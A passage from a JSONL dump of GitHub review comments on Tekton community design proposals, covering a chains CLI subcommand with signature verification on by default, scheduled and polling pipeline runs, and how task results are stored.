the `Task` - in that sense I think it would be nice to keep `hermekton` features associated to tasks. Cloning a repo and uploading results are things that could be done in tasks specialised for that, and they would not run in hermetic mode.", "comment_id": 712324842, "created_at": "2021-09-20T16:24:08Z", "line": 52, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "pritidesai", "body": "nit: extra `@`", "comment_id": 728976811, "created_at": "2021-10-14T13:21:45Z", "line": null, "path": "teps/0085-custom-configuration.md", "pr_number": 506, "repo": "community"} +{"author": "pritidesai", "body": "update the title to `per-namespace controller configuration`", "comment_id": 728977616, "created_at": "2021-10-14T13:22:34Z", "line": null, "path": "teps/0085-custom-configuration.md", "pr_number": 506, "repo": "community"} +{"author": "dlorenc", "body": "I always worry a bit about printing signed payloads without verifying the signature from a UX perspective. Do you think signature verification is in scope here for the tkn cli?\r\n\r\nIf not, what do you think about something like `tkn chains unsafe-payload` just to make it abundantly clear that this hasn't been verified?", "comment_id": 701983565, "created_at": "2021-09-03T15:30:56Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "dlorenc", "body": "I love this!", "comment_id": 701983797, "created_at": "2021-09-03T15:31:10Z", "line": 165, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "priyawadhwa", "body": "+1 !", "comment_id": 702040988, "created_at": "2021-09-03T16:53:19Z", "line": 165, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "priyawadhwa", "body": "We could add a `tkn chains config` command for modifying the configmap as you mentioned above! \r\n\r\n```\r\ntkn chains config set \r\ntkn chains config unset \r\n```\r\n\r\ncould be options", "comment_id": 702041609, "created_at": "2021-09-03T16:54:36Z", "line": 201, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "Good point!\r\n\r\nWhat about we leave the name of the sub-command to `payload` but we add a `--verify` flag which would verify the signature? The reason I am proposing to keep the sub-command name is because `tkn chains unsafe-payload --verify` sounds unclear (i.e. \"asking to verify something which is unsafe\" \ud83e\udd14 ).", "comment_id": 702096628, "created_at": "2021-09-03T18:37:25Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "Good option! \r\n\r\nI am a bit hesitant (but not against idea!) since we are trying to keep the CLI simple and high level. Therefore this would potentially fit in the \"non-goals\" category.\r\n\r\nHowever, if we want to provide a simple way to modify any of the values described in the [documentation](https://github.com/tektoncd/chains/blob/main/docs/config.md), then this is definitely the way to go!", "comment_id": 702110057, "created_at": "2021-09-03T19:06:31Z", "line": 201, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "dlorenc", "body": "Yeah that flag issue makes sense... I still don't love the idea of the default behavior being unsafe though. I usually prefer people to have to \"opt-in\" to the unsafe version.\r\n\r\nWhat about maybe:\r\n\r\n```shell\r\ntkn chains payload --skip-verify\r\n```\r\n\r\nTo skip it, but the default would be to verify?", "comment_id": 702135136, "created_at": "2021-09-03T20:02:47Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "Yes, it makes complete sense \ud83d\udc4d ", "comment_id": 702139237, "created_at": "2021-09-03T20:12:34Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "Another thought: doing so would make it a requirement to add `cosign` and `in-toto` as dependencies of the CLI, like what I described in the `Notes/Caveats` section. Is that an issue?", "comment_id": 702293635, "created_at": "2021-09-04T14:55:19Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "dlorenc", "body": "We're working on a lightweight, stdlib only verification package for cosign that should work here.", "comment_id": 702295621, "created_at": "2021-09-04T15:14:25Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "pradeepitm12", "body": ":+1: ", "comment_id": 702543267, "created_at": "2021-09-06T03:43:28Z", "line": 90, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "pradeepitm12", "body": ">tkn chains payload --skip-verify\r\n\r\nThis makes a lot more sense to me.\r\nJust one question, do we see any other sub-commands to be associated with the payload.\r\n`tkn chains payload extract --skip-verify`", "comment_id": 702592103, "created_at": "2021-09-06T05:22:11Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "pradeepitm12", "body": "The above suggestions will work here also.\r\n`tkn chains signature extract cache-image-pipelinerun-r-qd6xw-build-trusted-jrj5v`\r\nThis would help us to add more sub-commands like `tkn chains signature `", "comment_id": 702593775, "created_at": "2021-09-06T05:27:23Z", "line": 147, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "pradeepitm12", "body": ":+1: ", "comment_id": 702593941, "created_at": "2021-09-06T05:27:56Z", "line": 165, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "pradeepitm12", "body": ":+1: ", "comment_id": 702594284, "created_at": "2021-09-06T05:28:45Z", "line": 201, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "vdemeester", "body": "Should we have a subcommand for *configuring* chains (in OpenShift we have `oc adm` for example). `tkn chains adm \u2026` or even `tkn adm chains \u2026` (which would mean we could/would also introduce similar features for other component such as pipeline, triggers, \u2026)", "comment_id": 702758739, "created_at": "2021-09-06T09:38:23Z", "line": 165, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "As of now, no. I don't have any other use cases to do with the payload except extracting it and verifying it.", "comment_id": 702993368, "created_at": "2021-09-06T16:04:24Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "@priyawadhwa proposed `tkn chains config` which would do it.\r\n\r\nWe could add a \"convention\" stating that each command which would offer the ability to edit its related configuration must provide a `config` sub-command. That's kind of the reverse of what you are proposing, where all configuration sub-commands would be grouped under `tkn adm`. Both approaches make sense to me, although I like the config `tkn config` idea a bit more.", "comment_id": 702996825, "created_at": "2021-09-06T16:12:57Z", "line": 165, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "vdemeester", "body": "@rgreinho the only \"trick\" with `tkn config` is that, it applies to `chains` well, but not for the rest, like `tkn task config` or `tkn pipeline config`, what does it do ? `pipeline`, `task`, `clustertask`, `pipelinerun` and `taskrun` are all subcommand that are \"configured\" together (`tektoncd/pipeline`). This is similar for the triggers subcommand for example.", "comment_id": 703171373, "created_at": "2021-09-07T04:43:29Z", "line": 165, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "Ah I see! Then a `tkn adm chains` makes more sense after this explanation \ud83d\udc4d ", "comment_id": 703526915, "created_at": "2021-09-07T13:47:59Z", "line": 165, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "vdemeester", "body": "Then it could be `payload-extract` subcommand, but I think I prefer `payload extract` \ud83d\ude05 ", "comment_id": 712809728, "created_at": "2021-09-21T08:19:02Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "vdemeester", "body": "Note we could also just \"bail\" when cosign is not there, with a decent message for people to know where to look for installing it.", "comment_id": 712812483, "created_at": "2021-09-21T08:22:38Z", "line": 218, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "vdemeester", "body": "There is one other alternative that would be that the `chains` provide a `tkn-chains` binary, and with the \"execution model\" we have in `tkn`, it would appear as a subcommand. One downside of this, is that it wouldn't be available by default and would complicate a bit the \"packaging part\". I'd rather have the chains command in, and secure by default (if history teach us anything is that things not enable or shipped by default are less adopted \ud83d\ude13 )", "comment_id": 712816640, "created_at": "2021-09-21T08:27:41Z", "line": 303, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "dlorenc", "body": "Note: there's a cosign library in progress now that should make the dependency tree much leaner. https://github.com/sigstore/cosign/issues/666", "comment_id": 713069573, "created_at": "2021-09-21T13:58:22Z", "line": 109, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "rgreinho", "body": "That's a good point. However if we use `cosign` as an external binary instead of the library, I think we will have to store the data into files temporarily to be able to pass it to `cosign`, which is not ideal.", "comment_id": 714006732, "created_at": "2021-09-22T14:32:46Z", "line": 218, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "dlorenc", "body": "+1!", "comment_id": 714022756, "created_at": "2021-09-22T14:48:23Z", "line": 303, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "dlorenc", "body": "I think the library approach is going to be the best one long term.", "comment_id": 714023064, "created_at": "2021-09-22T14:48:40Z", "line": 218, "path": "teps/0081-add-chains-subcommand-to-the-cli.md", "pr_number": 508, "repo": "community"} +{"author": "savitaashture", "body": "Is it `Scheduled Pipelinerun & Taskrun Polling` :thinking: ", "comment_id": 707932806, "created_at": "2021-09-14T05:54:05Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "savitaashture", "body": "It doesn't have hyperlink", "comment_id": 707934315, "created_at": "2021-09-14T05:57:26Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "savitaashture", "body": "```suggestion\r\n- To allow users to schedule a pipelinerun/taskrun at a certain time or at certain interval\r\n```", "comment_id": 707934971, "created_at": "2021-09-14T05:58:44Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "savitaashture", "body": "can we add goals also?\r\nOr is it similar to what we have in Motivation?", "comment_id": 707935996, "created_at": "2021-09-14T06:00:58Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "savitaashture", "body": "I see right now it supports only Github \r\nIs there a plan to support different scm like bitbucket, gitlab etc...?\r\nIf yes then can we add somewhere in TEP the supported and non supported one?", "comment_id": 707937787, "created_at": "2021-09-14T06:04:57Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "savitaashture", "body": "It would be nice if we have design details mentioning some points like \r\n1. what are the optional and required field in `SyncRepo` CRD\r\n2. does both polling and scheduled supported together\r\n3. If yes then describing which attributes for which functionality(polling, scheduling)", "comment_id": 707938873, "created_at": "2021-09-14T06:07:20Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "savitaashture", "body": "what are the test plans we have\r\n1. E2E\r\n2. Unit", "comment_id": 707939801, "created_at": "2021-09-14T06:08:51Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "vdemeester", "body": "To add a bit more here, what we would do without this feature would be : a cronjob + creating a `PipelineRun` *or* a cronjob and a http call to a trigger (to simulate a webhook event).", "comment_id": 707948136, "created_at": "2021-09-14T06:25:11Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "vdemeester", "body": "The `repo` happens to be GitHub, but there is nothing specific to GitHub. The PoC is limited to `git` though, but we could rework a bit the structure to allow more support for other VCS (like mercurial, \u2026)", "comment_id": 707949020, "created_at": "2021-09-14T06:26:53Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "vdemeester", "body": "This initial TEP is mainly on the problem statement. the `SyncRepo` PoC is only based on the poll part of this TEP, but digging more, we might rework that CRD altogether, hence not getting in too much detail too quickly \ud83d\ude1b ", "comment_id": 707949612, "created_at": "2021-09-14T06:28:02Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "sm43", "body": "there are two feature we are introducing\r\n- scheduling pipelinerun, and\r\n- polling a repo (rekton polling)\r\nyeah we need a better name \ud83d\ude05 ", "comment_id": 708165584, "created_at": "2021-09-14T11:16:37Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "sm43", "body": "we can add this once we are okay with the idea and then we design and decide the scope", "comment_id": 708166512, "created_at": "2021-09-14T11:17:59Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": null, "body": "@sm43 @dibyom @chmouel It looks like something similar to a Repo CRD is a shared problem across this TEP, the Workflows project, [pipelines as code](https://github.com/openshift-pipelines/pipelines-as-code/blob/main/config/300-repositories.yaml), [remote resource resolution](https://github.com/tektoncd/community/blob/main/teps/0060-remote-resource-resolution.md#introduce-a-tekton-resource-request-crd)\r\n\r\nCould we potentially extract a common element here and deliver that on its own? I could see a few ways this could help. It might just be common vcs configuration (a name, the type of VCS, and the repo's URL?) or it could extend all the way to supporting polling, content fetching, content caching, rbac, etc etc with one or multiple controllers watching for RepoCRD objects and layering functionality on top of them.\r\n\r\nNot sure, what do folks think?", "comment_id": 727460016, "created_at": "2021-10-12T20:06:53Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "dibyom", "body": "Yeah I think this is definitely an idea worth exploring!!", "comment_id": 728138275, "created_at": "2021-10-13T14:41:47Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": null, "body": "Great, I will put together some ideas for discussion at the next Workflows WG \ud83d\udc4d ", "comment_id": 729831710, "created_at": "2021-10-15T13:44:21Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "afrittoli", "body": "Link?", "comment_id": 730822027, "created_at": "2021-10-18T11:22:53Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "afrittoli", "body": "It would be nice to have a few words explaining why the two features are proposed together.\r\nI assume the reason is that their implementation may rely on a shared new feature? If so should the TEP only be about that base feature and scheduled pipeline / polling be added as use cases?", "comment_id": 730824641, "created_at": "2021-10-18T11:26:38Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "afrittoli", "body": "It would be good to capture the requirement of doing \"conditional\" scheduled runs in the summary or use cases or requirements. Abstracting the filtering logic to a `Trigger` can be done when using `CronJobs` too - the `CronJob` can send an event to an `EventListener` that can then decide - through the triggers - whether to run a pipeline or not. Recently added `TriggerGroups` also may help in making this setup easier to maintain. \r\n\r\nThe main downside for me in using `CronJobs` is that they are not well integrated with Tekton and it requires an event listener which could be avoided for an \"internal\" trigger. The HTTP POST needs to be scripted in the `CronJob` and the target URL needs to be derived from the event listener.\r\n\r\nI would prefer an approach where we could define a Cron trigger more declaratively - see `TriggerRuns` and https://github.com/tektoncd/triggers/issues/504 for further context.", "comment_id": 730837101, "created_at": "2021-10-18T11:43:54Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "vdemeester", "body": "nit: maybe it could be \"Scheduled and Polling runs\" in Tekton ? \ud83d\ude1d (because nothing should prevent us for doing \"scheduled taskruns\" \ud83d\udc7c\ud83c\udffc )", "comment_id": 735709590, "created_at": "2021-10-25T15:20:41Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "vdemeester", "body": "nit: we can remove this \ud83d\udc7c\ud83c\udffc ", "comment_id": 735709910, "created_at": "2021-10-25T15:21:00Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "vdemeester", "body": "Right, that might make sense.", "comment_id": 735710893, "created_at": "2021-10-25T15:22:02Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "sm43", "body": "https://github.com/tektoncd/community/pull/517#issuecomment-919323436", "comment_id": 736191631, "created_at": "2021-10-26T06:30:48Z", "line": null, "path": "teps/0083-scheduled-pipelinerun--tekton-polling.md", "pr_number": 517, "repo": "community"} +{"author": "afrittoli", "body": "It looks like this sentence is unfinished?", "comment_id": 721223855, "created_at": "2021-10-04T10:10:39Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "NIT: incl -> including?", "comment_id": 721239195, "created_at": "2021-10-04T10:34:08Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "It looks like there are various alternatives in the design details. \r\nI think usually put different alternatives in the alternatives section, and include in here the one we chose.\r\nIt's also fine to discuss it like this and once we decide move the rest to the alternatives and include the reasons why they were not chosen.", "comment_id": 721265548, "created_at": "2021-10-04T11:16:07Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "NIT: I assume \"result parameters\" == [\"results\"](https://tekton.dev/docs/pipelines/tasks/#emitting-results) ?", "comment_id": 721331399, "created_at": "2021-10-04T12:49:10Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "NIT: mechansim / mechanism", "comment_id": 721332309, "created_at": "2021-10-04T12:50:22Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Results do not require access to storage path today - I guess this means that things that need to be stored in a special storage today could be moved into results?", "comment_id": 721334874, "created_at": "2021-10-04T12:53:28Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure what this means? Users can reference results today in several context - using variables that are expanded by Tekton - what does the \"current form\" refers to?", "comment_id": 721336168, "created_at": "2021-10-04T12:54:59Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Does this mean that we not want to define new kind resources of k8s resources to store results?\r\nEither case, it feels more like a requirement than a goal.", "comment_id": 721337928, "created_at": "2021-10-04T12:57:06Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Maybe this could go under use-cases?\r\n\r\nIf I understand correctly one of the use cases would be to allow a `Task` to store the entire payload of a `CloudEvent` in a result, and let a subsequent `Task` process it.\r\n\r\nThe use case I've encountered is that a `CloudEvent` is received by an `EventListener` and its payload passed to a `Task` as an input parameter. \r\nI suppose it could be useful to propagate that payload using results? Or perhaps it's the `Task` that is receiving the `CloudEvent` directly? Do you have an example?", "comment_id": 721342561, "created_at": "2021-10-04T13:02:52Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "It feels like this is a different problem than the one in this TEP, I think it would be enough to reference TEP-0080 in the references.", "comment_id": 721343977, "created_at": "2021-10-04T13:04:39Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Is this related to the size or the content type? \r\nIf size, it might be helpful to have a rough size limit mentioned here. ", "comment_id": 721354301, "created_at": "2021-10-04T13:16:51Z", "line": 74, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "I did not understand this issue, could you expand a bit on the problem?", "comment_id": 721356690, "created_at": "2021-10-04T13:19:34Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "In case of a pipeline, it would be one `ConfigMap` for each result defined in each of the `Tasks`, plus one for each result defined at pipeline level? What is the reason for having so many different config maps?", "comment_id": 721358694, "created_at": "2021-10-04T13:21:42Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Is there a use case for this? ", "comment_id": 721362322, "created_at": "2021-10-04T13:25:56Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Does this mean creating a dedicated CRD to store results?", "comment_id": 721362599, "created_at": "2021-10-04T13:26:17Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Wouldn't it be possible to edit the resource definition with `kubectl` as well?", "comment_id": 721363259, "created_at": "2021-10-04T13:27:03Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "I 100% we should not change the interface for retrieving results. \r\nFor producing results, if we decide to provide a new interface, we should maintain backward compatibility anyways.\r\n\r\nSince tasks can be written in any programming language, it feels to me that the current file-system based interface works well across languages, and it can be used without the need of extra dependencies.\r\n\r\nI wonder if it would make sense to provide a pluggable interface on Tekton side?\r\nWe could keep both read and write interfaces from Tasks as they are, provide a default storage implementation as Tekton and let users plug-in other kind of storage based on their requirements (size, speed).", "comment_id": 721400075, "created_at": "2021-10-04T14:06:59Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Results today are stored are available via `TaskRun` and `PipelineRun` status, which is part of the Tekton API.\r\nWe should try and keep that interface even for storage of larger results, perhaps replacing the result text itself with a link to where the result can be obtained from.\r\n\r\nTekton can send `CloudEvents` and those events today include results. This mechanism is used in our dogfoding to send data to pipelines that are triggered asynchronously through events. I think this is a good use case, and we should allow for it to be possible regardless of the size and type of results that we support, with the caveat that larger results would not be directly in the status, only a link to them.", "comment_id": 721404282, "created_at": "2021-10-04T14:11:23Z", "line": 391, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "I wonder if settling on approximately the maximum size of what k8s will store in etcd for an object would be an okay line to draw. I don't want to assume that we're using storage in etcd as the solution but also it feels like if the data is larger than that (I think it's 1.5 MB? having a hard time finding the docs for some reason...) then maybe it's too big to be just a \"result\"?\r\n\r\nanother possible way we could draw a line would be around plain text data vs. binary data - we could say that we explicitly only support results for plain text data (doesnt directly help with the size restriction but it feels like ruling out binary data shrinks the problem space)", "comment_id": 724378651, "created_at": "2021-10-07T17:13:13Z", "line": 74, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "another couple use cases:\r\n\r\n* emitting attestations ( maybe @priyawadhwa can provide more details around the chains requirements) and even SBOMs if we go that route\r\n* emitting structured data - e.g. urls and digests when building multiple images", "comment_id": 724379598, "created_at": "2021-10-07T17:14:33Z", "line": 81, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "(oh yeah you mention the 1.5 MB limit below - if we could find a source for this that'd be great - [the max size of an etcd request is 1.5 MB](https://etcd.io/docs/v3.3/dev-guide/limit/#:~:text=etcd%20is%20designed%20to%20handle,any%20request%20is%201.5%20MiB.) - i have a feeling that means the k8s object size would have to be a bit smaller than that)", "comment_id": 724380525, "created_at": "2021-10-07T17:15:52Z", "line": 74, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "im not quite sure how this would work - how would the admission controller know what result to write?", "comment_id": 724381292, "created_at": "2021-10-07T17:16:59Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "priyawadhwa", "body": "you pretty much covered it! SBOMs, attestations, and images that have been built are the key things right now", "comment_id": 724396172, "created_at": "2021-10-07T17:38:02Z", "line": 81, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Thanks. Fixed.", "comment_id": 730572558, "created_at": "2021-10-18T05:06:37Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Thanks. Resolved.", "comment_id": 730572686, "created_at": "2021-10-18T05:07:03Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Good to know. I have moved to Alternatives until a decision is made.", "comment_id": 730573367, "created_at": "2021-10-18T05:09:14Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Thanks. Ive always called them Result Parameters for some reason. Not sure why. I have updated.", "comment_id": 730575028, "created_at": "2021-10-18T05:14:29Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "So this is really a use case for my project which wraps and abstracts Tekton. End users run tasks without knowing YAML. They drag and drop them onto the screen, so part of the motivation for me putting this TEP together was around making that easier.\r\n\r\nRight now if a Task outputs a large result we have to either abstract that concern away from the end user or update Tasks (that we may not have authored) with the option to either store in a Result or store in a workspace (but this has flow-on impact for referencing post Task as its reading a file rather than reference a Result variable)", "comment_id": 730576305, "created_at": "2021-10-18T05:18:26Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Updated. Let me know if that clarifies.", "comment_id": 730576601, "created_at": "2021-10-18T05:19:20Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "The goal I am trying to represent here is that either; a standard Kubernetes object or a Tekton CRD object is used, rather than relying on external. \r\n\r\nBut I can move/remove this if its not adding benefit.", "comment_id": 730577219, "created_at": "2021-10-18T05:21:07Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Ok. Not a problem. It was from a discussion with @bobcatfish about what potential benefits we could gain.\r\n\r\nWhen dealing with the CloudEvent use case, if a Task Result could store the payload, then could we also not then use some form of JSONPath expression to get to a specific part of that result? Potentially in the way that the Domain Scoped results work?\r\n\r\nBesides the references, is there a better way to convert the particular benefit that could be gained?", "comment_id": 730578754, "created_at": "2021-10-18T05:25:49Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Definitely could be a use case. \r\n\r\n> If I understand correctly one of the use cases would be to allow a Task to store the entire payload of a CloudEvent in a result, and let a subsequent Task process it.\r\n\ud83d\udc4d absolutely\r\n\r\nIn my use case, we have a task called Wait For Event, that actually waits for a period of time for an event, and if the event is received continue on, otherwise fail (and go the failure path), If the event is received we store the CloudEvent as a Result to usually be processed by a subsequent task. However we sometimes hit size limitations", "comment_id": 730579491, "created_at": "2021-10-18T05:27:53Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "@afrittoli its not necessarily based on size limitations but that is one part of it. It was also based on passing only useable data as Results and still suggesting Workspaces for everything else.\r\n\r\n@bobcatfish Good question. I was going off that size based on the conversation in the issue. No reference to back the claim up.", "comment_id": 730582812, "created_at": "2021-10-18T05:36:56Z", "line": 74, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Those concerns are a summary from https://github.com/tektoncd/pipeline/issues/4012\r\n\r\nI think specifically it's about dynamically creating Roles that can update a specific ConfigMap. Not sure tbh. Happy to rephrase / update.", "comment_id": 730585454, "created_at": "2021-10-18T05:44:27Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "I had assumed it would be one ConfigMap for all Results for a specific Task. The idea behind this was security i.e. a write once at end of TaskRun only by that approved Task.\r\n\r\nBut I am sure the others from the issue can also add additional detail here.", "comment_id": 730713130, "created_at": "2021-10-18T08:58:54Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Yes", "comment_id": 730713766, "created_at": "2021-10-18T08:59:40Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "afrittoli", "body": "Thanks for the clarification. Perhaps it's worth including some of it in the TEP?", "comment_id": 730814443, "created_at": "2021-10-18T11:11:55Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "vdemeester", "body": "Note that 